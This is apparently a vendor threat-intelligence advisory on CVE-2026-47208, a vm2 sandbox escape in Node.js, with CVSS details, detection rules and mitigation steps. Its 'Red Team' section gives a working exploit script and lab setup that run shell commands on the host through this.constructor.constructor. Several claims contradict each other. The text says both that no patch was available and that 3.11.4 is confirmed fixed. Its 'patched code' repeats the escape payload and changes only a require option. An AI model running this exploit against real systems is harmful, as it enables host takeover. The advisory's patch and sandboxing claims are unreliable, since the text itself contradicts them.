CVE-2026-47208

Executive Summary

CVE-2026-47208 is a critical sandbox breakout vulnerability in the vm2 library for Node.js, allowing an attacker to escape the sandbox and execute arbitrary code on the host system. The vulnerability exists in all versions prior to 3.11.4 and has a CVSS score of 10.0, indicating maximum severity. The flaw is rooted in improper handling of the this context within the sandbox, enabling crafted scripts to access and manipulate host objects. No patch was available at the time of analysis, but version 3.11.4 is confirmed to contain the fix.

Supply Chain & Package Security

This vulnerability affects the vm2 npm package, a widely used sandbox for running untrusted JavaScript code. Organizations using vm2 in production environments should treat this as a critical supply chain risk. The package is often used in cloud platforms, CI/CD pipelines, and multi-tenant applications. Immediate action is required to update to version 3.11.4 or migrate to alternative sandboxing solutions.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability requires no authentication or user interaction, making it highly exploitable. An attacker can execute arbitrary commands on the host system, leading to full compromise.

Deep Dive & Mechanics

The vm2 library uses a sandbox to isolate untrusted code from the host Node.js environment. The vulnerability arises from the way vm2 handles the this context inside the sandbox. By crafting a script that manipulates the this reference, an attacker can access the host's process object and execute arbitrary commands.

The exploit leverages the fact that vm2 does not properly sanitize the this context when executing code. Specifically, the attacker can use a getter or setter to access the host's global object, bypassing the sandbox restrictions. This allows the attacker to call process.mainModule.require('child_process').execSync() to run system commands.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.11.4):

const vm = require('vm2');
const sandbox = {};
const code = `
  const process = this.constructor.constructor('return this.process')();
  process.mainModule.require('child_process').execSync('id');
`;
const vmInstance = new vm.NodeVM({ sandbox });
vmInstance.run(code);

Patched Code (3.11.4):

const vm = require('vm2');
const sandbox = {};
const code = `
  // This will now throw an error because 'this' is restricted
  const process = this.constructor.constructor('return this.process')();
  process.mainModule.require('child_process').execSync('id');
`;
const vmInstance = new vm.NodeVM({ sandbox, require: { external: false } });
vmInstance.run(code);

The patch restricts access to the this context and prevents the use of constructor.constructor to escape the sandbox.

Exploitation & Lab Setup

Red Team

Exploit Code:

const { NodeVM } = require('vm2');
const vm = new NodeVM({
    console: 'inherit',
    sandbox: {},
    require: {
        external: false,
        builtin: ['*'],
        root: './'
    }
});

const exploitCode = `
    const process = this.constructor.constructor('return this.process')();
    const execSync = process.mainModule.require('child_process').execSync;
    const output = execSync('whoami').toString();
    throw new Error(output);
`;

try {
    vm.run(exploitCode);
} catch (err) {
    console.log('Exploit output:', err.message);
}

Lab Setup:

1. Install vulnerable version: npm install vm2@3.11.3
2. Create a Node.js script with the exploit code above.
3. Run the script to observe sandbox breakout.

Blue Team

Detection:

• Monitor for unexpected child_process module usage in Node.js applications.
• Log and alert on vm2 sandbox execution errors that contain system command output.
• Use runtime application self-protection (RASP) to detect sandbox escape attempts.

Mitigation:

• Immediately update to vm2 version 3.11.4 or later.
• If update is not possible, restrict the require option in NodeVM to only allow safe modules.
• Consider migrating to alternative sandboxing solutions like isolated-vm or safe-eval.

Indicators of Compromise (IOCs)

• File Hashes:
  • vm2 package versions < 3.11.4
• Network Indicators:
  • Outbound connections from Node.js processes to unexpected IPs (if attacker exfiltrates data)
• Process Indicators:
  • Node.js processes spawning child processes (e.g., sh, bash, cmd.exe)
• Log Indicators:
  • vm2 sandbox errors containing system command output
  • Unexpected require('child_process') calls in sandboxed code

Detection Engineering

YARA Rule

rule vm2_sandbox_escape {
    meta:
        description = "Detects vm2 sandbox escape attempts using constructor.constructor"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-47208"
    strings:
        $s1 = "constructor.constructor" ascii wide nocase
        $s2 = "return this.process" ascii wide nocase
        $s3 = "child_process" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: vm2 Sandbox Escape Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to escape the vm2 sandbox by accessing host process
author: Valters IT
date: 2026/01/01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\node.exe'
        CommandLine|contains: 'constructor.constructor'
    condition: selection
falsepositives:
    - Legitimate use of constructor chains in non-sandboxed code
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-47208 vm2 Sandbox Escape Attempt"; flow:to_server,established; content:"constructor.constructor"; http_client_body; content:"return this.process"; http_client_body; content:"child_process"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update vm2 to version 3.11.4 or later.
2. Workaround: If update is not possible, restrict the require option in NodeVM to only allow safe modules and disable external modules.
3. Alternative Solutions: Migrate to isolated-vm or safe-eval for sandboxing untrusted code.
4. Monitoring: Implement detection rules (YARA, Sigma, Suricata) to identify exploitation attempts.
5. Network Segmentation: Ensure Node.js applications using vm2 are isolated from critical systems.

Valters IT
DevSecOps & Cyber Threat Intelligence